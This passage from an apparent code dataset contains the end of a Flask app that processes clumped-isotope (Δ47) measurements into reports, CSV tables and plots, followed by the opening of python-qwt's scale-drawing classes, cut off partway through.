data:\n\t\t\tfor k in ['d13Cwg_VPDB', 'd18Owg_VSMOW']:\n\t\t\t\tif k not in r:\n\t\t\t\t\tpayload['error_msg'] = f'Analysis \"{r[\"UID\"]}\" is missing field \"{k}\".'\n\t\t\t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\t\t\t\t\t\n\t\t\t\t\n\t\n\ttry:\n\t\tdata.crunch()\n\texcept:\n\t\tpayload['error_msg'] = 'Crunching step failed for some reason.'\n\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\n\tmethod = {\n\t\t'stdz_method_setting_pooled': 'pooled',\n\t\t'stdz_method_setting_indep_sessions': 'indep_sessions',\n\t\t}[payload['stdz_method_setting']]\n\n\n\tdata.standardize(\n\t\tconsolidate_tables = False,\n\t\tconsolidate_plots = False,\n\t\tmethod = method)\n\t\n\tcsv = 'Session,a,b,c,va,vb,vc,covab,covac,covbc,Xa,Ya,Xu,Yu'\n\tfor session in data.sessions:\n\t\ts = data.sessions[session]\n\t\tGa = [r for r in s['data'] if r['Sample'] in data.anchors]\n\t\tGu = [r for r in s['data'] if r['Sample'] in data.unknowns]\n\t\tcsv += f\"\\n{session},{s['a']},{s['b']},{s['c']},{s['CM'][0,0]},{s['CM'][1,1]},{s['CM'][2,2]},{s['CM'][0,1]},{s['CM'][0,2]},{s['CM'][1,2]},{';'.join([str(r['d47']) for r in Ga])},{';'.join([str(r['D47']) for r in Ga])},{';'.join([str(r['d47']) for r in Gu])},{';'.join([str(r['D47']) for r in Gu])}\"\n\n# \tpayload['error_msg'] = 'Foo bar.'\n# \treturn str(payload).replace(', ','\\n')\n\tpayload['display_results'] = True\n\tpayload['csv_of_sessions'] = csv\n\n\tsummary = data.summary(save_to_file = False, print_out = False)\n\ttosessions = data.table_of_sessions(save_to_file = False, print_out = False)\n\tpayload['summary'] = pretty_table(summary, header = 0)\n\tpayload['summary_rows'] = len(payload['summary'].splitlines())+2\n\tpayload['summary_cols'] = len(payload['summary'].splitlines()[0])\n\n\tpayload['table_of_sessions'] = pretty_table(tosessions)\n\tpayload['table_of_sessions_rows'] = len(payload['table_of_sessions'].splitlines())+1\n\tpayload['table_of_sessions_cols'] = len(payload['table_of_sessions'].splitlines()[0])\n\tpayload['table_of_sessions_csv'] = make_csv(tosessions)\n\n\ttosamples = data.table_of_samples(save_to_file = False, print_out = False)\n\tpayload['table_of_samples'] = pretty_table(tosamples)\n\tpayload['table_of_samples'] = payload['table_of_samples'][:] + 'NB: d18O_VSMOW is the composition of the analyzed CO2.'\n\tpayload['table_of_samples_rows'] = len(payload['table_of_samples'].splitlines())\n\tpayload['table_of_samples_cols'] = len(payload['table_of_samples'].splitlines()[0])+1\n\tpayload['table_of_samples_csv'] = make_csv(tosamples)\n\n\ttoanalyses = data.table_of_analyses(save_to_file = False, print_out = False)\n\tpayload['table_of_analyses'] = pretty_table(toanalyses)\n\tpayload['table_of_analyses_rows'] = len(payload['table_of_analyses'].splitlines())+1\n\tpayload['table_of_analyses_cols'] = len(payload['table_of_analyses'].splitlines()[0])\n\tpayload['table_of_analyses_csv'] = make_csv(toanalyses)\n\n\tcovars = \"\\n\\nCOVARIANCE BETWEEN SAMPLE \u039447 VALUES:\\n\\n\"\n\ttxt = [['Sample #1', 'Sample #2', 'Covariance', 'Correlation']]\n\tunknowns = [k for k in data.unknowns]\n\tfor k, s1 in enumerate(unknowns):\n\t\tfor s2 in unknowns[k+1:]:\n\t\t\ttxt += [[\n\t\t\t\ts1,\n\t\t\t\ts2,\n\t\t\t\tf\"{data.sample_D47_covar(s1,s2):.4e}\",\n\t\t\t\tf\"{data.sample_D47_covar(s1,s2)/data.samples[s1]['SE_D47']/data.samples[s2]['SE_D47']:.6f}\",\n\t\t\t\t]]\n\tcovars += pretty_table(txt, align = '<<>>')\n\n\tpayload['report'] = f\"Report generated on {time.asctime()}\\nClumpyCrunch v{__version__} using D47crunch v{vD47crunch}\"\n\tpayload['report'] += \"\\n\\nOXYGEN-17 CORRECTION PARAMETERS:\\n\" + pretty_table([['R13_VPDB', 'R18_VSMOW', 'R17_VSMOW', 'lambda_17'], [payload['o17_R13_VPDB'], payload['o17_R18_VSMOW'], payload['o17_R17_VSMOW'], payload['o17_lambda']]], align = '<<<<')\n\n\tif payload['wg_setting'] == 'wg_setting_fromsample':\n\t\tpayload['report'] += f\"\\n\\nWG compositions constrained by sample {wg_setting_fromsample_samplename} with:\"\n\t\tpayload['report'] += f\"\\n \u03b413C_VPDB = {wg_setting_fromsample_d13C}\"\n\t\tpayload['report'] += f\"\\n \u03b418O_VPDB = {wg_setting_fromsample_d18O}\"\n\t\tpayload['report'] += f\"\\n(18O/16O) AFF = {wg_setting_fromsample_acidfrac}\\n\"\n\telif payload['wg_setting'] == 'wg_setting_explicit':\n\t\tpayload['report'] += f\"\\n\\nWG compositions specified by user.\\n\"\n\t\n\tpayload['report'] += f\"\\n\\nSUMMARY:\\n{payload['summary']}\"\n\tpayload['report'] += f\"\\n\\nSAMPLES:\\n{payload['table_of_samples']}\\n\"\n\tpayload['report'] += f\"\\n\\nSESSIONS:\\n{payload['table_of_sessions']}\"\n\tpayload['report'] += f\"\\n\\nANALYSES:\\n{payload['table_of_analyses']}\"\n\tpayload['report'] += covars\n\n\ttxt = payload['csv_of_sessions']\n\ttxt = [[x.strip() for x in l.split(',')] for l in txt.splitlines() if l.strip()]\n\tsessions = [{k: smart_type(v) for k,v in zip(txt[0], l)} for l in txt[1:]]\n\tpayload['plots'] = []\n\t\n\tfor s in sessions:\n\t\ts['Xa'] = [float(x) for x in s['Xa'].split(';')]\n\t\ts['Ya'] = [float(x) for x in s['Ya'].split(';')]\n\t\ts['Xu'] = [float(x) for x in s['Xu'].split(';')]\n\t\ts['Yu'] = [float(x) for x in s['Yu'].split(';')]\n\n\tfor s in sessions:\n\t\tfig = figure(figsize = (3,3))\n\t\tsubplots_adjust(.2,.15,.95,.9)\n\t\tplot_session(s)\n\t\tpngImage = io.BytesIO()\n\t\tFigureCanvas(fig).print_png(pngImage)\n\t\tpngImageB64String = \"data:image/png;base64,\"\n\t\tpngImageB64String += base64.b64encode(pngImage.getvalue()).decode('utf8')\n\t\tpayload['plots'] += [pngImageB64String]\n\t\tclose(fig)\n\n\treturn(render_template('main.html', payload = payload, vD47crunch = vD47crunch))\n\n# @app.route(\"/csv//\", methods = ['POST'])\n# def get_file(foo, filename):\n# \tpayload = dict(request.form)\n# \treturn Response(\n# \t\tpayload[foo],\n# \t\tmimetype='text/plain',\n# \t\theaders={'Content-Disposition': f'attachment;filename=\"{filename}\"'}\n# \t\t)\ndef normalization_error(a, b, c, CM, d47, D47):\n\tV = array([-D47, -d47, -1]) /a\n\treturn float((V @ CM @ V.T) ** .5)\n\ndef zipresults():\n\tpayload = dict(request.form)\n# \treturn str(payload).replace(', ','\\n')\n\tmem = io.BytesIO()\n\twith zipfile.ZipFile(mem, 'w') as zf:\n\n\t\tfor k, filename in [\n\t\t\t('report', 'report.txt'),\n\t\t\t('table_of_sessions_csv', 'csv/sessions.csv'),\n\t\t\t('table_of_samples_csv', 'csv/samples.csv'),\n\t\t\t('table_of_analyses_csv', 'csv/analyses.csv'),\n\t\t\t]:\n\t\t\tdata = zipfile.ZipInfo(f'/{filename}')\n\t\t\tdata.date_time = time.localtime(time.time())[:6]\n\t\t\tdata.compress_type = zipfile.ZIP_DEFLATED\n\t\t\tzf.writestr(data, payload[k])\n\t\t\n\t\ttxt = payload['csv_of_sessions']\n\t\ttxt = [[x.strip() for x in l.split(',')] for l in txt.splitlines() if l.strip()]\n\t\tsessions = [{k: smart_type(v) for k,v in zip(txt[0], l)} for l in txt[1:]]\n\t\t\n\t\tfor s in sessions:\n\t\t\ts['Xa'] = [float(x) for x in s['Xa'].split(';')]\n\t\t\ts['Ya'] = [float(x) for x in s['Ya'].split(';')]\n\t\t\ts['Xu'] = [float(x) for x in s['Xu'].split(';')]\n\t\t\ts['Yu'] = [float(x) for x in s['Yu'].split(';')]\n\n\t\tX = [x for s in sessions for k in ['Xa', 'Xu'] for x in s[k]]\n\t\tY = [y for s in sessions for k in ['Ya', 'Yu'] for y in s[k]]\n\t\txmin, xmax, ymin, ymax = [min(X), max(X), min(Y), max(Y)]\n\t\tdx = xmax - xmin\n\t\tdy = ymax - ymin\n\t\txmin -= dx/20\n\t\txmax += dx/20\n\t\tymin -= dy/20\n\t\tymax += dy/20\n\n\t\tfor s in sessions:\n\n\t\t\tfig = figure(figsize = (5,5))\n\t\t\tsubplots_adjust(.15,.15,.9,.9)\n\t\t\tplot_session(s, [xmin, xmax, ymin, ymax])\n\t\t\tbuf = io.BytesIO()\n\t\t\tsavefig(buf, format = 'pdf')\n\t\t\tclose(fig)\n\n\t\t\tzf.writestr(f\"/sessions/{s['Session']}.pdf\", buf.getvalue())\n\n\tmem.seek(0)\n\n\tresponse = Response(FileWrapper(mem), mimetype=\"application/zip\", direct_passthrough=True)\n\tresponse.headers['Content-Disposition'] = 'attachment; filename=ClumpyCrunch.zip'\n\treturn response\n\n\ndef plot_session(s, axislimits = []):\n\tkw = dict(mfc = 'None', mec = (.9,0,0), mew = .75, ms = 4)\n\tplot(s['Xa'], s['Ya'], 'x', **kw)\n\n\tkw['mec'] = 'k'\n\tplot(s['Xu'], s['Yu'], 'x', **kw)\n\n\tif axislimits:\n\t\txmin, xmax, ymin, ymax = axislimits\n\telse:\n\t\txmin, xmax, ymin, ymax = axis()\n\tXI,YI = meshgrid(linspace(xmin, xmax), linspace(ymin, ymax))\n\tCM = array([[s['va'], s['covab'], s['covac']], [s['covab'], s['vb'], s['covbc']], [s['covac'], s['covbc'], s['vc']]])\n\ta, b, c = s['a'], s['b'], s['c']\n\tSI = array([[normalization_error(a, b, c, CM, xi, yi) for xi in XI[0,:]] for yi in YI[:,0]])\n\n\trng = SI.max() - SI.min()\n\tif rng <= 0.01:\n\t\tcinterval = 0.001\n\telif rng <= 0.03:\n\t\tcinterval = 0.004\n\telif rng <= 0.1:\n\t\tcinterval = 0.01\n\telif rng <= 0.3:\n\t\tcinterval = 0.03\n\telse:\n\t\tcinterval = 0.1\n\t\n\tcval = [ceil(SI.min() / .001) * .001 + k * cinterval for k in range(int(ceil((SI.max() - SI.min()) / cinterval)))]\n\tcs = contour(XI, YI, SI, cval, colors = 'r', alpha = .5, linewidths = .75)\n\tclabel(cs)\n\n\taxis([xmin, xmax, ymin, ymax])\n\txlabel('\u03b4$_{47}$ (\u2030 WG)')\n\tylabel('\u0394$_{47}$ (\u2030)')\n\ttitle(s['Session'])\n\tgrid(alpha = .15)\n", "source": "mdaeron/clumpycrunch", "license": "BSD-3-Clause"} {"text": "# -*- coding: utf-8 -*-\n#\n# Licensed under the terms of the Qwt License\n# Copyright (c) 2002 Uwe Rathmann, for the original C++ code\n# Copyright (c) 2015 Pierre Raybaut, for the Python translation/optimization\n# (see LICENSE file for more details)\n\n\"\"\"\nQwtAbstractScaleDraw\n--------------------\n\n.. autoclass:: QwtAbstractScaleDraw\n :members:\n\nQwtScaleDraw\n------------\n\n.. autoclass:: QwtScaleDraw\n :members:\n\"\"\"\n\nfrom qwt.scale_div import QwtScaleDiv\nfrom qwt.scale_map import QwtScaleMap\nfrom qwt.text import QwtText\nfrom qwt._math import qwtRadians\n\nfrom qtpy.QtGui import QPalette, QFontMetrics, QTransform\nfrom qtpy.QtCore import Qt, qFuzzyCompare, QLocale, QRectF, QPointF, QRect, QPoint\n\nfrom math import ceil\nimport numpy as np\n\n\nclass QwtAbstractScaleDraw_PrivateData(object):\n def __init__(self):\n self.spacing = 4\n self.penWidth = 0\n self.minExtent = 0.0\n\n self.components = (\n QwtAbstractScaleDraw.Backbone\n | QwtAbstractScaleDraw.Ticks\n | QwtAbstractScaleDraw.Labels\n )\n self.tick_length = {\n QwtScaleDiv.MinorTick: 4.0,\n QwtScaleDiv.MediumTick: 6.0,\n QwtScaleDiv.MajorTick: 8.0,\n }\n self.tick_lighter_factor = {\n QwtScaleDiv.MinorTick: 100,\n QwtScaleDiv.MediumTick: 100,\n QwtScaleDiv.MajorTick: 100,\n }\n\n self.map = QwtScaleMap()\n self.scaleDiv = QwtScaleDiv()\n\n self.labelCache = {}\n\n\nclass QwtAbstractScaleDraw(object):\n \"\"\"\n A abstract base class for drawing scales\n\n `QwtAbstractScaleDraw` can be used to draw linear or logarithmic scales.\n \n After a scale division has been specified as a `QwtScaleDiv` object\n using `setScaleDiv()`, the scale can be drawn with the `draw()` member.\n \n Scale components:\n \n * `QwtAbstractScaleDraw.Backbone`: Backbone = the line where the ticks are located\n * `QwtAbstractScaleDraw.Ticks`: Ticks\n * `QwtAbstractScaleDraw.Labels`: Labels\n \n .. py:class:: QwtAbstractScaleDraw()\n \n The range of the scale is initialized to [0, 100],\n The spacing (distance between ticks and labels) is\n set to 4, the tick lengths are set to 4,6 and 8 pixels \n \"\"\"\n\n # enum ScaleComponent\n Backbone = 0x01\n Ticks = 0x02\n Labels = 0x04\n\n def __init__(self):\n self.__data = QwtAbstractScaleDraw_PrivateData()\n\n def extent(self, font):\n \"\"\"\n Calculate the extent\n\n The extent is the distance from the baseline to the outermost\n pixel of the scale draw in opposite to its orientation.\n It is at least minimumExtent() pixels.\n\n :param QFont font: Font used for drawing the tick labels\n :return: Number of pixels\n \n .. seealso::\n \n :py:meth:`setMinimumExtent()`, :py:meth:`minimumExtent()`\n \"\"\"\n return 0.0\n\n def drawTick(self, painter, value, len_):\n \"\"\"\n Draw a tick\n\n :param QPainter painter: Painter\n :param float value: Value of the tick\n :param float len: Length of the tick\n\n .. seealso::\n \n :py:meth:`drawBackbone()`, :py:meth:`drawLabel()`\n \"\"\"\n pass\n\n def drawBackbone(self, painter):\n \"\"\"\n Draws the baseline of the scale\n \n :param QPainter painter: Painter\n\n .. seealso::\n \n :py:meth:`drawTick()`, :py:meth:`drawLabel()`\n \"\"\"\n pass\n\n def drawLabel(self, painter, value):\n \"\"\"\n Draws the label for a major scale tick\n \n :param QPainter painter: Painter\n :param float value: Value\n\n .. seealso::\n \n :py:meth:`drawTick()`, :py:meth:`drawBackbone()`\n \"\"\"\n pass\n\n def enableComponent(self, component, enable):\n \"\"\"\n En/Disable a component of the scale\n\n :param int component: Scale component\n :param bool enable: On/Off\n \n .. seealso::\n \n :py:meth:`hasComponent()`\n \"\"\"\n if enable:\n self.__data.components |= component\n else:\n self.__data.components &= ~component\n\n def hasComponent(self, component):\n \"\"\"\n Check if a component is enabled\n\n :param int component: Component type\n :return: True, when component is enabled\n \n .. seealso::\n \n :py:meth:`enableComponent()`\n \"\"\"\n return self.__data.components & component\n\n def setScaleDiv(self, scaleDiv):\n \"\"\"\n Change the scale division\n \n :param qwt.scale_div.QwtScaleDiv scaleDiv: New scale division\n \"\"\"\n self.__data.scaleDiv = scaleDiv\n self.__data.map.setScaleInterval(scaleDiv.lowerBound(), scaleDiv.upperBound())\n self.__data.labelCache.clear()\n\n def setTransformation(self, transformation):\n \"\"\"\n Change the transformation of the scale\n\n :param qwt.transform.QwtTransform transformation: New scale transformation\n \"\"\"\n self.__data.map.setTransformation(transformation)\n\n def scaleMap(self):\n \"\"\"\n :return: Map how to translate between scale and pixel values\n \"\"\"\n return self.__data.map\n\n def scaleDiv(self):\n \"\"\"\n :return: scale division\n \"\"\"\n return self.__data.scaleDiv\n\n def setPenWidth(self, width):\n \"\"\"\n Specify the width of the scale pen\n \n :param int width: Pen width\n \n .. seealso::\n \n :py:meth:`penWidth()`\n \"\"\"\n if width < 0:\n width = 0\n if width != self.__data.penWidth:\n self.__data.penWidth = width\n\n def penWidth(self):\n \"\"\"\n :return: Scale pen width\n \n .. seealso::\n \n :py:meth:`setPenWidth()`\n \"\"\"\n return self.__data.penWidth\n\n def draw(self, painter, palette):\n \"\"\"\n Draw the scale\n \n :param QPainter painter: The painter\n :param QPalette palette: Palette, text color is used for the labels, foreground color for ticks and backbone\n \"\"\"\n painter.save()\n\n pen = painter.pen()\n pen.setWidth(self.__data.penWidth)\n pen.setCosmetic(False)\n painter.setPen(pen)\n\n if self.hasComponent(QwtAbstractScaleDraw.Labels):\n painter.save()\n painter.setPen(palette.color(QPalette.Text))\n majorTicks = self.__data.scaleDiv.ticks(QwtScaleDiv.MajorTick)\n for v in majorTicks:\n if self.__data.scaleDiv.contains(v):\n self.drawLabel(painter, v)\n painter.restore()\n\n if self.hasComponent(QwtAbstractScaleDraw.Ticks):\n painter.save()\n pen = painter.pen()\n pen.setCapStyle(Qt.FlatCap)\n default_color = palette.color(QPalette.WindowText)\n for tickType in range(QwtScaleDiv.NTickTypes):\n tickLen = self.__data.tick_length[tickType]\n if tickLen <= 0.0:\n continue\n factor = self.__data.tick_lighter_factor[tickType]\n pen.setColor(default_color.lighter(factor))\n painter.setPen(pen)\n ticks = self.__data.scaleDiv.ticks(tickType)\n for v in ticks:\n if self.__data.scaleDiv.contains(v):\n self.drawTick(painter, v, tickLen)\n painter.restore()\n\n if self.hasComponent(QwtAbstractScaleDraw.Backbone):\n painter.save()\n pen = painter.pen()\n pen.setColor(palette.color(QPalette.WindowText))\n pen.setCapStyle(Qt.FlatCap)\n painter.setPen(pen)\n self.drawBackbone(painter)\n painter.restore()\n\n painter.restore()\n\n def setSpacing(self, spacing):\n \"\"\"\n Set the spacing between tick and labels\n\n The spacing is the distance between ticks and labels.\n The default spacing is 4 pixels.\n \n :param float spacing: Spacing\n \n .. seealso::\n \n :py:meth:`spacing()`\n \"\"\"\n if spacing < 0:\n spacing = 0\n self.__data.spacing = spacing\n\n def spacing(self):\n \"\"\"\n Get the spacing\n\n The spacing is the distance between ticks and labels.\n The default spacing is 4 pixels.\n \n :return: Spacing\n \n .. seealso::\n \n :py:meth:`setSpacing()`\n \"\"\"\n return self.__data.spacing\n\n def setMinimumExtent(self, minExtent):\n \"\"\"\n Set a minimum for the extent\n\n The extent is calculated from the components of the\n scale draw. In situations, where the labels are\n changing and the layout depends on the extent (f.e scrolling\n a scale), setting an upper limit as minimum extent will\n avoid jumps of the layout.\n \n :param float minExtent: Minimum extent\n \n .. seealso::\n \n :py:meth:`extent()`, :py:meth:`minimumExtent()`\n \"\"\"\n if minExtent < 0.0:\n minExtent = 0.0\n self.__data.minExtent = minExtent\n\n def minimumExtent(self):\n \"\"\"\n Get the minimum extent\n \n :return: Minimum extent\n \n .. seealso::\n \n :py:meth:`extent()`, :py:meth:`setMinimumExtent()`\n \"\"\"\n return self.__data.minExtent\n\n def setTickLength(self, tick_type, length):\n \"\"\"\n Set the length of the ticks\n \n :param int tick_type: Tick type\n :param float length: New length\n \n .. warning::\n \n the length is limited to [0..1000]\n \"\"\"\n if tick_type not in self.__data.tick_length:\n raise ValueError(\"Invalid tick type: %r\" % tick_type)\n self.__data.tick_length[tick_type] = min([1000.0, max([0.0, length])])\n\n def tickLength(self, tick_type):\n \"\"\"\n :param int tick_type: Tick type\n :return: Length of the ticks\n \n .. seealso::\n \n :py:meth:`setTickLength()`, :py:meth:`maxTickLength()`\n \"\"\"\n if tick_type not in self.__data.tick_length:\n raise ValueError(\"Invalid tick type: %r\" % tick_type)\n return self.__data.tick_length[tick_type]\n\n def maxTickLength(self):\n \"\"\"\n :return: Length of the longest tick\n \n Useful for layout calculations\n \n .. seealso::\n \n :py:meth:`tickLength()`, :py:meth:`setTickLength()`\n \"\"\"\n return max([0.0] + list(self.__data.tick_length.values()))\n\n def setTickLighterFactor(self, tick_type, factor):\n \"\"\"\n Set the color lighter factor of the ticks\n \n :param int tick_type: Tick type\n :param int factor: New factor\n \"\"\"\n if tick_type not in self.__data.tick_length:\n raise ValueError(\"Invalid tick type: %r\" % tick_type)\n self.__data.tick_lighter_factor[tick_type] = min([0, factor])\n\n def tickLighterFactor(self, tick_type):\n \"\"\"\n :param int tick_type: Tick type\n :return: Color lighter factor of the ticks\n \n .. seealso::\n \n :py:meth:`setTickLighterFactor()`\n \"\"\"\n if tick_type not in self.__data.tick_length:\n raise ValueError(\"Invalid tick type: %r\" % tick_type)\n return self.__data.tick_lighter_factor[tick_type]\n\n def label(self, value):\n \"\"\"\n Convert a value into its representing label\n\n The value is converted to a plain text using\n `QLocale().toString(value)`.\n This method is often overloaded by applications to have individual\n labels.\n \n :param float value: Value\n :return: Label string\n \"\"\"\n return QLocale().toString(value)\n\n def tickLabel(self, font, value):\n \"\"\"\n Convert a value into its representing label and cache it.\n\n The conversion between value and label is called very often\n in the layout and painting code. Unfortunately the\n calculation of the label sizes might be slow (really slow\n for rich text in Qt4), so it's necessary to cache the labels.\n \n :param QFont font: Font\n :param float value: Value\n :return: Tick label\n \"\"\"\n lbl = self.__data.labelCache.get(value)\n if lbl is None:\n lbl = QwtText(self.label(value))\n lbl.setRenderFlags(0)\n lbl.setLayoutAttribute(QwtText.MinimumLayout)\n lbl.textSize(font)\n self.__data.labelCache[value] = lbl\n return lbl\n\n def invalidateCache(self):\n \"\"\"\n Invalidate the cache used by `tickLabel()`\n\n The cache is invalidated, when a new `QwtScaleDiv` is set. If\n the labels need to be changed. while the same `QwtScaleDiv` is set,\n `invalidateCache()` needs to be called manually.\n \"\"\"\n self.__data.labelCache.clear()\n\n\nclass QwtScaleDraw_PrivateData(object):\n def __init__(self):\n self.len = 0\n self.alignment = QwtScaleDraw.BottomScale\n self.labelAlignment = 0\n self.labelRotation = 0.0\n self.labelAutoSize = True\n self.pos = QPointF()\n\n\nclass QwtScaleDraw(QwtAbstractScaleDraw):\n \"\"\"\n A class for drawing scales\n\n QwtScaleDraw can be used to draw linear or logarithmic scales.\n A scale has a position, an alignment and a length, which can be specified .\n The labels can be rotated and aligned\n to the ticks using `setLabelRotation()` and `setLabelAlignment()`.\n\n After a scale division has been specified as a QwtScaleDiv object\n using `QwtAbstractScaleDraw.setScaleDiv(scaleDiv)`,\n the scale can be drawn with the `QwtAbstractScaleDraw.draw()` member.\n \n Alignment of the scale draw:\n \n * `QwtScaleDraw.BottomScale`: The scale is below\n * `QwtScaleDraw.TopScale`: The scale is above\n * `QwtScaleDraw.LeftScale`: The scale is left\n * `QwtScaleDraw.RightScale`: The scale is right\n \n .. py:class:: QwtScaleDraw()\n \n The range of the scale is initialized to [0, 100],\n The position is at (0, 0) with a length of 100.\n The orientation is `QwtAbstractScaleDraw.Bottom`.\n \"\"\"\n\n # enum Alignment\n BottomScale, TopScale, LeftScale, RightScale = list(range(4))\n Flags = (\n Qt.AlignHCenter | Qt.AlignBottom, # BottomScale\n Qt.AlignHCenter | Qt.AlignTop, # TopScale\n Qt.AlignLeft | Qt.AlignVCenter, # LeftScale\n Qt.AlignRight | Qt.AlignVCenter, # RightScale\n )\n\n def __init__(self):\n QwtAbstractScaleDraw.__init__(self)\n self.__data = QwtScaleDraw_PrivateData()\n self.setLength(100)\n self._max_label_sizes = {}\n\n def alignment(self):\n \"\"\"\n :return: Alignment of the scale\n \n .. seealso::\n \n :py:meth:`setAlignment()`\n \"\"\"\n return self.__data.alignment\n\n def setAlignment(self, align):\n \"\"\"\n Set the alignment of the scale\n \n :param int align: Alignment of the scale\n\n Alignment of the scale draw:\n \n * `QwtScaleDraw.BottomScale`: The scale is below\n * `QwtScaleDraw.TopScale`: The scale is above\n * `QwtScaleDraw.LeftScale`: The scale is left\n * `QwtScaleDraw.RightScale`: The scale is right\n \n The default alignment is `QwtScaleDraw.BottomScale`\n \n .. seealso::\n \n :py:meth:`alignment()`\n \"\"\"\n self.__data.alignment = align\n\n def orientation(self):\n \"\"\"\n Return the orientation\n\n TopScale, BottomScale are horizontal (`Qt.Horizontal`) scales,\n LeftScale, RightScale are vertical (`Qt.Vertical`) scales.\n \n :return: Orientation of the scale\n \n .. seealso::\n \n :py:meth:`alignment()`\n \"\"\"\n if self.__data.alignment in (self.TopScale, self.BottomScale):\n return Qt.Horizontal\n elif self.__data.alignment in (self.LeftScale, self.RightScale):\n return Qt.Vertical\n\n def getBorderDistHint(self, font):\n \"\"\"\n Determine the minimum border distance\n\n This member function returns the minimum space\n needed to draw the mark labels at the scale's endpoints.\n \n :param QFont font: Font\n :return: tuple `(start, end)`\n\n Returned tuple:\n \n * start: Start border distance\n * end: End border distance\n \"\"\"\n start, end = 0, 1.0\n\n if not self.hasComponent(QwtAbstractScaleDraw.Labels):\n return start, end\n\n ticks = self.scaleDiv().ticks(QwtScaleDiv.MajorTick)\n if len(ticks) == 0:\n return start, end\n\n minTick = ticks[0]\n minPos = self.scaleMap().transform(minTick)\n maxTick = minTick\n maxPos = minPos\n\n for tick in ticks:\n tickPos = self.scaleMap().transform(tick)\n if tickPos < minPos:\n minTick = tick\n minPos = tickPos\n if tickPos > self.scaleMap().transform(maxTick):\n maxTick = tick\n maxPos = tickPos\n\n s = 0.0\n e = 0.0\n if self.orientation() == Qt.Vertical:\n s = -self.labelRect(font, minTick).top()\n s -= abs(minPos - round(self.scaleMap().p2()))\n\n e = self.labelRect(font, maxTick).bottom()\n e -= abs(maxPos - self.scaleMap().p1())\n else:\n s = -self.labelRect(font, minTick).left()\n s -= abs(minPos - self.scaleMap().p1())\n\n e = self.labelRect(font, maxTick).right()\n e -= abs(maxPos - self.scaleMap().p2())\n\n return max(ceil(s), 0), max(ceil(e), 0)\n\n def minLabelDist(self, font):\n \"\"\"\n Determine the minimum distance between two labels, that is necessary\n that the texts don't overlap.\n\n :param QFont font: Font\n :return: The maximum width of a label\n \n .. seealso::\n \n :py:meth:`getBorderDistHint()`\n \"\"\"\n if not self.hasComponent(QwtAbstractScaleDraw.Labels):\n return 0\n\n ticks = self.scaleDiv().ticks(QwtScaleDiv.MajorTick)\n if not ticks:\n return 0\n\n fm = QFontMetrics(font)\n vertical = self.orientation() == Qt.Vertical\n\n bRect1 = QRectF()\n bRect2 = self.labelRect(font, ticks[0])\n if vertical:\n bRect2.setRect(-bRect2.bottom(), 0.0, bRect2.height(), bRect2.width())\n\n maxDist = 0.0\n\n for tick in ticks:\n bRect1 = bRect2\n bRect2 = self.labelRect(font, tick)\n if vertical:\n bRect2.setRect(-bRect2.bottom(), 0.0, bRect2.height(), bRect2.width())\n\n dist = fm.leading()\n if bRect1.right() > 0:\n dist += bRect1.right()\n if bRect2.left() < 0:\n dist += -bRect2.left()\n\n if dist > maxDist:\n maxDist = dist\n\n angle = qwtRadians(self.labelRotation())\n if vertical:\n angle += np.pi / 2\n\n sinA = np.sin(angle)\n if qFuzzyCompare(sinA + 1.0, 1.0):\n return np.ceil(maxDist)\n\n fmHeight = fm.ascent() - 2\n\n labelDist = fmHeight / np.sin(angle) * np.cos(angle)\n if labelDist < 0:\n labelDist = -labelDist\n\n if labelDist > maxDist:\n labelDist = maxDist\n\n if labelDist < fmHeight:\n labelDist = fmHeight\n\n return np.ceil(labelDist)\n\n def extent(self, font):\n \"\"\"\n Calculate the width/height that is needed for a\n vertical/horizontal scale.\n\n The extent is calculated from the pen width of the backbone,\n the major tick length, the spacing and the maximum width/height\n of the labels.\n\n :param QFont font: Font used for painting the labels\n :return: Extent\n \n .. seealso::\n \n :py:meth:`minLength()`\n \"\"\"\n d = 0.0\n if self.hasComponent(QwtAbstractScaleDraw.Labels):\n if self.orientation() == Qt.Vertical:\n d = self.maxLabelWidth(font)\n else:\n d = self.maxLabelHeight(font)\n if d > 0:\n d += self.spacing()\n if self.hasComponent(QwtAbstractScaleDraw.Ticks):\n d += self.maxTickLength()\n if self.hasComponent(QwtAbstractScaleDraw.Backbone):\n pw = max([1, self.penWidth()])\n d += pw\n return max([d, self.minimumExtent()])\n\n def minLength(self, font):\n \"\"\"\n Calculate the minimum length that is needed to draw the scale\n\n :param QFont font: Font used for painting the labels\n :return: Minimum length that is needed to draw the scale\n \n .. seealso::\n \n :py:meth:`extent()`\n \"\"\"\n startDist, endDist = self.getBorderDistHint(font)\n sd = self.scaleDiv()\n minorCount = len(sd.ticks(QwtScaleDiv.MinorTick)) + len(\n sd.ticks(QwtScaleDiv.MediumTick)\n )\n majorCount = len(sd.ticks(QwtScaleDiv.MajorTick))\n lengthForLabels = 0\n if self.hasComponent(QwtAbstractScaleDraw.Labels):\n lengthForLabels = self.minLabelDist(font) * majorCount\n lengthForTicks = 0\n if self.hasComponent(QwtAbstractScaleDraw.Ticks):\n pw = max([1, self.penWidth()])\n lengthForTicks = np.ceil((majorCount + minorCount) * (pw + 1.0))\n return startDist + endDist + max([lengthForLabels, lengthForTicks])\n\n def labelPosition(self, value):\n \"\"\"\n Find the position, where to paint a label\n\n The position has a distance that depends on the length of the ticks \n in direction of the `alignment()`.\n\n :param float value: Value\n :return: Position, where to paint a label\n \"\"\"\n tval = self.scaleMap().transform(value)\n dist = self.spacing()\n if self.hasComponent(QwtAbstractScaleDraw.Backbone):\n dist += max([1, self.penWidth()])\n if self.hasComponent(QwtAbstractScaleDraw.Ticks):\n dist += self.tickLength(QwtScaleDiv.MajorTick)\n\n px = 0\n py = 0\n if self.alignment() == self.RightScale:\n px = self.__data.pos.x() + dist\n py = tval\n elif self.alignment() == self.LeftScale:\n px = self.__data.pos.x() - dist\n py = tval\n elif self.alignment() == self.BottomScale:\n px = tval\n py = self.__data.pos.y() + dist\n elif self.alignment() == self.TopScale:\n px = tval\n py = self.__data.pos.y() - dist\n\n return QPointF(px, py)\n\n def drawTick(self, painter, value, len_):\n \"\"\"\n Draw a tick\n\n :param QPainter painter: Painter\n :param float value: Value of the tick\n :param float len: Length of the tick\n \n .. seealso::\n \n :py:meth:`drawBackbone()`, :py:meth:`drawLabel()`\n \"\"\"\n if len_ <= 0:\n return\n pos = self.__data.pos\n tval = self.scaleMap().transform(value)\n pw = self.penWidth()\n a = 0\n if self.alignment() == self.LeftScale:\n x1 = pos.x() + a\n x2 = pos.x() + a - pw - len_\n painter.drawLine(x1, tval, x2, tval)\n elif self.alignment() 